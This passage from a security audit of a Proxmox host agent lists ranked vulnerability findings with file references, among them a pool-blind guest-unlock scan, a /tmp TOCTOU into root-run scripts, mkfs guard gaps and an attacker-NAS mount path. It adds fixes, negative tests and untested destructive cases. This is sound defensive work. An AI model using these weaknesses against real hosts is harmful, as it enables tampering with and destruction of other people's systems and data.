re-resolves + re-derives + re-inspects before mkfs +(`wipe.go:74-99`). + +**E1 (INFO — comment drift).** `decommission.go:31-35` claims the `IntentDecommissioned` state is reachable +"ONLY via a gate-verified operator signature," but `handleDiskDecommission` reaches the same +`SetDecommissioned` self-serve (`disks.go:414`). Not an escalation (self-serve is user-data-only, +non-destructive, reversible); comment correction only. + +**E2 (INFO — redundant check).** For the one-shot-job path, `bindsToAction` (`gate.go:265-276`) compares the +verified op against an Intent built from the *same* decoded blob (`runner.go:125-133`) — its guest/op/params +checks are tautological; the real anti-retarget control is the signature covering `params` + the executor's +durable-id re-resolution. Worth noting so a future refactor doesn't mistake `bindsToAction` for the one-shot +binding control. + +**Negative tests.** Replayed nonce → `ErrReplay` (incl. after restart); mutated-`params` blob → +`ErrBadSignature`; `POST /disks/format {confirmed:true}` on a system/backup data-bearing device → 403 +`PendingOp`, no mkfs; `POST /disks/decommission` on system/backup → 403; unsigned/no-verifier destructive +job → `pending_signature`; `guest_destroy` signed with the cold recovery key → `ReasonRoleDenied`. + +--- + +## Prioritized fix list + +Ranked by real, exploit-backed severity. Per the audit discipline, "suspected — no exploit constructed" caps +at INFO; findings whose exploit *is* fully sequenced but whose precondition does not exist today are LOW. + +| # | Sev | Finding | Recommended fix | Relation to campaign F1–F6 | Blocks shared-box trial? | +|---|-----|---------|-----------------|----------------------------|--------------------------| +| **A1** | **LOW** | Stale-lock recovery (`stalelock.go:58`) reaps guests by a **pool-blind `ListLXC` scan**, not ownership — `pct unlock`+snapshot-delete+start a foreign guest under a broad token. Contained by the pool ACL today. | Restrict the scan to felhom-pool membership (or fenced-root `pct list` cross-checked against the pool). | **F1-sibling** (extends F1's "broad-token re-arms it"; relates F6) | **N (contained)** — but **fix before any broad/root-token deployment** | +| **B1** | **LOW** | Fixed-name `/tmp` staging of root-executed scripts (`guesthook/install.go:40`, `intermediary.go:149,157`) — local TOCTOU into a root-run hookscript / boot script. | Use `os.CreateTemp` (as `lanresolver.go:255` already does). | new (host-local; outside F1–F6) | **N** (needs a 2nd non-root host account, which the platform doesn't provision) | +| **D1** | **LOW** | The guarded mkfs wrapper (`felhom-mkfs-guarded.sh`) re-checks only system-disk / LVM-PV / foreign-mount — **not** ZFS/mdraid/LUKS/swap/read-only, so it can't catch a bypassed agent on those. | Add those FSTYPE + `/sys` ro re-checks to the wrapper; use an absolute `pvs` path. | new (defense-in-depth below the classifier) | N (primary guard `classifyClaim` covers all cases) | +| **D3** | INFO (susp.) | Blank-format path (`disks.go:681`) formats the **mutable `/dev` path** with no durable-id re-resolution — AGENT-001's TOCTOU, left open on the benign branch; `Format`'s own precondition comment is violated. | Re-resolve the durable id on the blank branch too (mirror `disks.go:714`). | new (sibling of AGENT-001, not a pool finding) | N | +| **D2** | INFO (susp.) | `classifyClaim` reads an empty-but-successful `lsblk` as `unclaimed` (no `len(nodes)==0` / target-present guard). | Refuse when `nodes` is empty or the target whole-disk is absent from the tree. | new | N | +| **C1** | INFO (susp.) | `/controller/swap` regex pins host+repo but accepts **any semver** → a compromised controller can downgrade to an older vulnerable release (within its own guest). | Agent-side minimum-version floor. | new (adjacent to controller-swap SPIKE) | N | +| **C2** | INFO (susp.) | `/netstorage/add` `server`/`export` are free → attacker-NAS host-side mount (host kernel NFS/CIFS client + attacker FS into guest). Creds-path attack is closed. | Operator/allowlist gate on NAS server addresses for shared boxes. | new | N | +| **A2** | INFO | Reversibility gate consumes caller-stamped provenance without journal cross-check; guarantee lives entirely in the call-site `launched`/UPID discipline. | Add a defensive comment/guard; consider a journal cross-check for self-authored teardowns. | duplicate-adjacent to **F1** root cause | N | +| **B2** | INFO | `AttachDrive`/`DetachDrive` don't self-reject `..` (safe only because callers gate). | Self-validate `where` in the bind helpers. | new (defense-in-depth) | N | +| **B3/B4/B5** | INFO | Coarser-than-needed wildcards (B3); `privileged.go` forms absent from sudoers, fail-closed (B4); dead `systemctl reload dnsmasq` grant (B5). | Tighten wildcards; document/prune. | new (housekeeping) | N | +| **E1/E2** | INFO | `decommission.go` comment drift (E1); tautological `bindsToAction` for one-shot jobs (E2). | Correct the comment; note the real one-shot binding control. | new (doc/clarity) | N | +| **C3** | — | Eject/decommission dependent-guest scan is advisory-only. | (already tracked) | **= F5** (duplicate) | N | + +--- + +## NOT validated / needs supervised live test + +This audit was **100% static + non-destructive**. The following would each require a *destructive* live +effect and were deliberately **not** run (§13 STOP): + +- **A1** under a real broad/root token — would need to redeploy the agent with a broad token and park a + foreign guest in a stale-locked state; needs a supervised host with a throwaway non-felhom guest. +- **B1** — would need a second non-root local account on the Proxmox host and a race harness against a real + guesthook install; the standard host doesn't provide the account. +- **D1/D3** — proving these requires an actual `mkfs` against a crafted ZFS/mdraid/LUKS/swap member (D1) or a + live `/dev` re-enumeration race during a real format (D3). **Not run** — no real disk was formatted. +- **C1** — a real controller-swap to an older image against guest 9201. **Not run.** +- **C2** — a real NAS mount from an attacker-controlled server. **Not run.** + +All are documented as sequences/fixtures + named negative tests so a follow-up fix spec can prove them in +unit-land or on a supervised scratch host. + +## Cleanup confirmation + +- **No throwaway probe artifacts created** — the audit used only source reads and read-only verification + greps. No spike token was minted, no scratch guest/decoy created, no marker path written, no `go + run`/`go test` harness left behind. +- **Live state untouched:** the agent was not restarted or reconfigured; guest 9201, the enrolled drives, the + `FelhomAgent` role / `felhom-agent@pve` token / its ACL, and the `felhom` pool were **not** modified (no + live mutation was issued at all). +- **`felhom-agent` repo: read-only** — no file written, no version bump, no branch. +- **No secret committed** — this doc references tokens/keys/codes only as "stored out-of-band"; no + fingerprint, nonce, or key material appears. + +## Observations (tempting-but-out-of-scope; recorded, not acted on) + +- The `validate.go:34-36` comment still says the sudoers mkfs entries are "per-fstype binaries + (mkfs.ext4/mkfs.xfs)"; the FORMAT alias now routes *only* through `felhom-mkfs-guarded` (raw mkfs.* is no + longer allowlisted). Stale comment, not a security issue — noted for a future doc pass. +- Several INFO items (B3 wildcard tightening, B5 dead grant, E1/E2 comment fixes) are one-liners that would + tighten least-privilege / clarity; deliberately left as a batch for a separate implementation spec rather + than patched here (this is an audit). +- A1, D1, D3 are the three worth folding into the next agent fix spec together — they are the "defense-in- + depth is asymmetric / a second gate doesn't fully mirror the first" theme running across strands A and D.